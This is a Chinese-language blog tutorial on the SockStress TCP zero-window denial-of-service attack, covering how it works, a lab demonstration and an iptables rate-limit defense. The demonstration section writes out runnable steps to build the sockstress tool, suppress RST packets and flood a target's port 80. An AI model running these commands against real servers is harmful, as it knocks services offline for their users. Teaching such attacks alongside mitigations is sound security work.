SOCKSTRESS攻击原理与防御

SockStress攻击正好与Syn-Flood攻击原理相悖,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同它并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务端的内存、CPU等资源让受害者宕机,属于非对称的资源消耗攻击,这种攻击方式的危害性极大,而且一旦遭受分布式攻击是几乎不能被抵御的。

0x01. SOCKSTRESS攻击原理



上篇文章已经给大家介绍过TCP/IP的握手过程了,所以这里就只讲一下SOCKSTRESS的攻击原理。

1.首先,攻击者大量请求建立三次握手连接

2.成功建立ESTABLISHED之后,攻击者会将数据包中window的值置为0(window的意思代表client这边一次可以接受的数据大小,置为0之后表示client没有window来接受server发来的数据,然后server就会分配内存来维持TCP连接直到client有空闲的window与之通信),然而攻击者可不会维持什么连接,他只会不断的请求TCP连接耗尽server的资源

3.当server这端维持连接达到一定数量之后,内存、CPU甚至是SWAP分区都会被耗尽,系统命令不能正常执行,想要恢复server唯一的办法就是断网

[*]下面是attacker发向server的一个ACK包,window被置为了0

0x02. SOCKSTRESS攻击实战


这次的实战步骤比较简单,但是危害巨大,笔者会用自己的靶机演示,大家不要去攻击网络上的任何服务器。

环境准备:

SOCKSTRESS攻击脚本

kali linux

metasploit靶机 IP=192.168.1.104

攻击流程:

1.下载Github上面的SOCKSTRESS攻击脚本并安装

git clone https://github.com/defuse/sockstress && cd sockstress/ && make

2.设置防火墙规则,过滤发送给server的REST包(不过滤的话server就会断开连接)

iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xx.xx.xx.xx -j DROP

3.运行SOCKSTRESS攻击脚本,攻击靶机的80端口

./sockstress xx.xx.xx.xx:80 eth0 -p payloads/http -d 100

4.查看一下靶机可以看到内存和CPU已经被耗得差不多了,靶机的web服务已经访问不了,如果再多攻击一会可能就直接宕机

0x03. 防御措施


对于SOCKSTRESS这种攻击方式我们可以设置防火墙规则,限制server在一定时间内与同一个IP建立TCP连接的数量,这样即使有大量的连接发过来也不会对server有太大的影响,但是这仅限于DoS,如果是DDoS的话那么就只有升级server的性能了。

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set && iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent  --update --seconds 30 --hitcount 10 -j DROP

可以看到由于我们设置了防火墙规则,一台kali对靶机的攻击效果微乎其微(因为30秒内server只与kali建立10个TCP连接),但是如果是DDoS那么结果也是可想而知。

0x04. 结语


不太懂安全的人会认为发布攻击方法是在破坏互联网的稳定性,但这实在是片面的态度,理解攻击原理才是防御攻击最好的方式。让笔者最后再引用一句SOCKSTRESS作者的话:Pretending a problem doesn't exist won't make it go away.

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值